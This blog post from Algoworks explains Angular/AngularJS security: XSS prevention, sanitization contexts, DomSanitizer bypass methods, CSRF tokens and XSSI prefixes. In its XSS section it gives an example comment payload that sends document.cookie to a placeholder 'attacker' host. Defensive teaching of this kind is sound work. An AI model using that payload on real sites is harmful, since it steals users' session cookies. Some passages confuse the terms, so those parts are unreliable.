Quick Tips For Securing Your AngularJS Application

Quick Tips For Securing Your AngularJS Application

AngularJS developers face the most challenging task which is nothing but security. It is very important to understand that AngularJS itself plays a vital role in the overall security model of an application or website. It is advisable that you should never implement an independent client-side security layer in AngularJS application or any other Javascript application. Security should always be implemented on the backend services where the data resides. It is the safe place to implement a security layer.

Components To Be Controlled

AngularJS deals with all client side components and activities, therefore, it is considered as pure client side framework or technology. These client-side activities comprise of dealing with secure (HTTPS) and non-secure websites, handling cookies, scripting across clients and much more. It is very much evident that AngularJS will not be taking care of your network or server security. Let us understand the component of AngularJS which needs to be secured.
ANGULARJS

Best Practices

  • Stay updated with latest Angular library releases: Always ensure that you regularly update the Angular libraries.The security defects which you have discovered in previous versions can be fixed. Also, check the Angular change log for other security-related updates.
  • Don’t modify your copy of Angular: There are chances that customized versions of Angular can fall behind the current version and may not include important security fixes and enhancements.

Let us talk in detail about security concerns and remedies if any.

A- Preventing Cross-Site Scripting (XSS)

Cross-site Scripting or XSS is among the most common website security concerns. It enables an attacker to inject malicious code into web pages. These codes can then steal user data particularly the login details or may perform actions to misguide user. This is among the most common attacks on the web.

For blocking XSS attacks, prevent malicious code from entering the DOM (Document Object Model).

If attackers trick you into inserting a <script> tag in the DOM, they can even run an arbitrary code on your website. This attack is not only limited to <script> tags but many elements and properties in the DOM also allow code execution,
for example, <img onerror=”…”> and <a href=”javascript:…”>.

If attacker-controlled data enters the DOM, expect security issues in your code.

Let us take an example from the real world attack:
Every blog on the Internet has a comment system which allows users to comment on articles. The comment gets posted through a regular HTML form:


<form>
 <textarea class="comment" cols="30" rows="10"></textarea>
 <button type="submit">Submit</button>
</form>


<h1>Comments</h1>


<ul></ul>

var $form = $('form');
var $comment = $('.comment');
var $ul = $('ul');
$form.on('submit', e => {
 e.preventDefault();
 var value = $($comment).val();
 if(value) {
   $($ul).append(`
<li>${value}</li>

`);
 }
});

Suppose now an attacker sends the following code as a “comment” to the server:

<script>
window.location=’http://attacker/?cookie='+document.cookie
</script>

Therefore, if the website does not protect itself from Cross-site Scripting such content gets saved to the database and users visiting the page will redirect to the attacker URL. The attackers can even create a much more malignant script like attacker could record keyboard events and send this information to a server that he owns.

This is just one example of an XSS attack but this can be of many forms like href queries, CSS or URL queries and much more.

A1: Angular’s Cross-Site Scripting Security Model

For treating block XSS bugs, AngularJS treats all values as untrusted. Whenever a value is inserted into DOM from a template via, attribute, property, class binding, Angular escapes trusted values. HTML, attributes and binding expressions in templates are trusted to be safe. This explains that applications must prevent values that attackers can control from making into a source of the templates. Always remember do not generate template source code by chaining user input and templates. Use template injection to prevent such security issues.

A2: Sanitization And Security Contexts

Sanitization is inspecting untrusted value and turning it into a value which can be safe to insert into the DOM. Most of the times sanitization do not change a value at all.

Angular defines the following security contexts:

  • HTML – which is used when interpreting a value as HTML, for example, when binding to innerHtml.
  • Resource URL – is a URL that gets loaded and executed as code, for example, in <script src>
  • Style – which is used for binding CSS into the style property.
  • URL – which is used for URL properties, such as <a href>

AngularJS sanitizes untrusted values for HTML, styles, and since URLs contain arbitrary code; sanitizing resource is not possible. Angular sanitization depends on context. The value which is harmless in CSS can be potentially dangerous in a URL.

Let’s understand it through an example:

@Component({
 selector: 'my-app',
 template: `

<div &#091;innerHtml&#093;="html"></div>

 `,
})
export class App {
 constructor() {
   this.html = "
<h1>DomSanitizer</h1>

<script>attackerCode()</script>"
 }
}

In this case, Angular will sanitize the HTML input and will escape the unsafe code. So in this case, the script will not run and only display on the screen as text.

A3: Avoid Direct Use Of The DOM APIs

In-built browser DOM APIs do not automatically protect from security issues. Avoid interacting directly with the DOM and instead, use Angular templates wherever possible.

A4: Content Security Policy

To prevent defense-in-depth Content Security Policy (CSP) is a great technique. For enabling CSP, configure your web server to return an appropriate Content-Security-Policy HTTP header.

A5: Using Offline Template Compiler

Template Injection is the offline template compiler which prevents a whole class of security concerns. It greatly improves application performance. Ensure you do not dynamically generate templates and you use the offline template compiler in production deployments.

A6: Protecting Server-Side XSS

HTML constructed on the server is prone to injection attacks. Injecting template code into the Angular application is similar to injecting executable code into the application. This gives attacker full control over the application. Use templating language to prevent this. This automatically escapes values and prevent XSS security issues on the server. Never generate Angular templates on the server side by using templating language. By doing this you are carrying a high risk of getting template-injection vulnerabilities.

B- How To Trust Safe Values

Applications at times have to include executable code and display an <iframe> from some URL, or even construct potentially dangerous URLs. In order to prevent automatic sanitization in any of such situations, you can inform Angular that you have inspected a value, checked how it was generated and ensure that it will always be secure. Always be doubly sure as whenever you trust a value which could be malicious and therefore you are introducing a security vulnerability into your application.

For marking a value as trusted, one injects DomSanitizer and call one of the following methods:

  • bypassSecurityTrustHtml
  • bypassSecurityTrustScript
  • bypassSecurityTrustStyle
  • bypassSecurityTrustUrl
  • bypassSecurityTrustResourceUrl

Whether the value is safe or not, it depends on the context you choose. Therefore choose rightly the context for your intended use of the value. For example that the following template needs to bind a URL to a javascript:alert(…) call:

src/app/bypass-security.component.html (URL)

COPY CODE


<h4>An untrusted URL:</h4>



<a class="e2e-dangerous-url" &#091;href&#093;="dangerousUrl">Click me</a>


<h4>A trusted URL:</h4>



<a class="e2e-trusted-url" &#091;href&#093;="trustedUrl">Click me</a>

Ideally, Angular automatically sanitizes the URL and it disables the dangerous code in development mode and logs this action to the console. Mark the URL value as a trusted URL using bypassSecurityTrustUrl call to prevent this:

src/app/bypass-security.component.ts (trust-url)

COPY CODE

constructor(private sanitizer: DomSanitizer) {
 // javascript: URLs are dangerous if attacker controlled.
 // Angular sanitizes them in data binding, but you can
 // explicitly tell Angular to trust this value:
 this.dangerousUrl = 'javascript:alert("Hi there")';
 this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);

bypass-security-component

Use controller method for converting user input into a trusted value. Below mentioned code will allow you to enter a YouTube video ID and load the corresponding video in an <iframe>.

The <iframe src> attribute is a resource URL security context, as any untrusted source can enter illicitly in file downloads which ignorant users can execute. It is therefore suggested to call a method on the controller for constructing a trusted video URL, which causes Angular to allow binding into <iframe src:>

src/app/bypass-security.component.html (iframe)

COPY CODE


<h4>Resource URL:</h4>



Showing: {{dangerousVideoUrl}}



Trusted:

<iframe class="e2e-iframe-trusted-src" width="640" height="390" &#091;src&#093;="videoUrl"></iframe>


Untrusted:

<iframe class="e2e-iframe-untrusted-src" width="640" height="390" &#091;src&#093;="dangerousVideoUrl"></iframe>
src/app/bypass-security.component.ts (trust-video-url)

COPY CODE

updateVideoUrl(id: string) {
 // Appending an ID to a YouTube URL is safe.
 // Always make sure to construct SafeValue objects as
 // close as possible to the input data so
 // that it's easier to check if the value is safe.
 this.dangerousVideoUrl = 'https://www.youtube.com/embed/' + id;
 this.videoUrl =
     this.sanitizer.bypassSecurityTrustResourceUrl(this.dangerousVideoUrl);
}

C- HTTP-level Security Issues

Angular offers in-built support to help to prevent two common HTTP security concerns. These are cross-site request forgery (CSRF or XSRF) and cross-site script inclusion (XSSI). Although both of these can be mitigated primarily on the server side but Angular also provides helpers to make integration on the client side easier.

C1- Cross-Site Request Forgery

In a cross-site request forgery (CSRF or XSRF), an attacker ploys user into visiting a different web page (such as harmful.com) with nasty code which secretly sends the malicious request to the application’s web server (such as example-bank.com).

Take an example that user gets logged in the application at example-bank.com. As the user opens an email and clicks on harmful.com, it opens in a new tab.

The harmful.com page immediately sends a malicious request to example-bank.com. It could be a request to transfer money from user’s account to an attacker’s account. Hence, the browser automatically sends the example-bank.com cookies which also includes the authentication cookie along with this request.

Lacking XSRF protection in example-bank.com server can easily be found as there lies a legitimate request from the application and forged request from harmful.com.

For preventing this, application has to ensure that user request originates from the real application, not from the different site. In such cases, client and server must cooperate to prevent this attack.

Commonly in anti-XSRF technique, the application server sends a randomly generated authentication cookie. The client code reads the cookie and therefore adds a custom request header with the token in all subsequent requests. The process goes like, the server compares the received cookie value to the request header value and if the values are missing or don’t match, it rejects the request. As all the browsers implement the same origin policy hence this technique is effective.

Angular’s HTTP has in-built support for the client-side and half of this technique in its XSRFStrategy. Default CookieXSRFStrategy gets turned on automatically. The CookieXSRFStrategy looks for a cookie called XSRF-TOKEN before sending an HTTP request. It then sets a header named X-XSRF-TOKEN with the value of that cookie.

Before sending an HTTP request, the server must do its part by setting the initial XSRF-TOKEN cookie. It should also confirm that every subsequent state-modifying request includes a matching XSRF-TOKEN cookie and X-XSRF-TOKEN header. XSRF/CSRF tokens should be unique per user and per session. A large random value gets generated cryptographically secure random number generator which gets expired in a day or two. For this purpose, your server may use a different cookie or header name. Angular application can customize header names and cookie by providing its own CookieXSRFStrategy values.

COPY CODE

{ provide: XSRFStrategy, useValue: new CookieXSRFStrategy('myCookieName', 'My-Header-Name') }

You can also implement and provide an entirely custom XSRFStrategy:

COPY CODE

{ provide: XSRFStrategy, useClass: MyXSRFStrategy }

C2- Cross-Site Script Inclusion (XSSI)

JSON vulnerability also known as cross-site script inclusion can allow an attacker’s website to read data from JSON API. The attack happens on older browsers by overriding native JS object constructors and then including an API URL using a <script> tag. The attacks only get successful if the returned JSON is executable as JavaScript. By using the string “)]}’,\n”, by convention and by prefixing all JSON responses to make them non-executable, servers can prevent the attack.

Such kind of convention gets easily recognized by Angular’s Http library and it automatically strips the string “)]}’,\n” from all responses before further parsing.

D- Audit

As the regular web applications are audited, similarly Angular applications must follow the same security principles and must be audited.

E- Stay Secured

As a developer always remember that any security-related JavaScript code can be easily viewed and modified by the user. Though most modern browsers do offer built-in security, but still JS developers should never trust browsers for security. The entire responsibility of security rests on shoulders of backend service developers.

Don’t miss to grab a little more AngularJS knowledge from here:
7 Benefits of AngularJS 2.0 For Application Development
How to upgrade AngularJS apps to AngularJS 2.0 ?
Why Choose AngularJS for Your Next App?
4 Reasons to use AngularJS in Salesforce Visualforce pages
How to develop Salesforce Visualforce apps using AngularJS ?
Choosing Right Javascript Development Framework: AngularJS vs React vs Ember
A Developer’s Guide to Perform SEO on AngularJS Web Apps

References: finahub.com, mrbool.com, dunebook.com, quora.com, netbasal.com, medium.com, angular.io

The following two tabs change content below.
Rachit Agarwal

Rachit Agarwal

Director and Co-Founder at Algoworks Technologies
Rachit is leading the mobility business development function, mobility strategy and consulting practice at Algoworks. He is an expert of all mobile technologies and has experience in managing teams involved in the development of custom iPhone/iPad/Android apps.
Rachit Agarwal

Latest posts by Rachit Agarwal (see all)

Rachit AgarwalQuick Tips For Securing Your AngularJS Application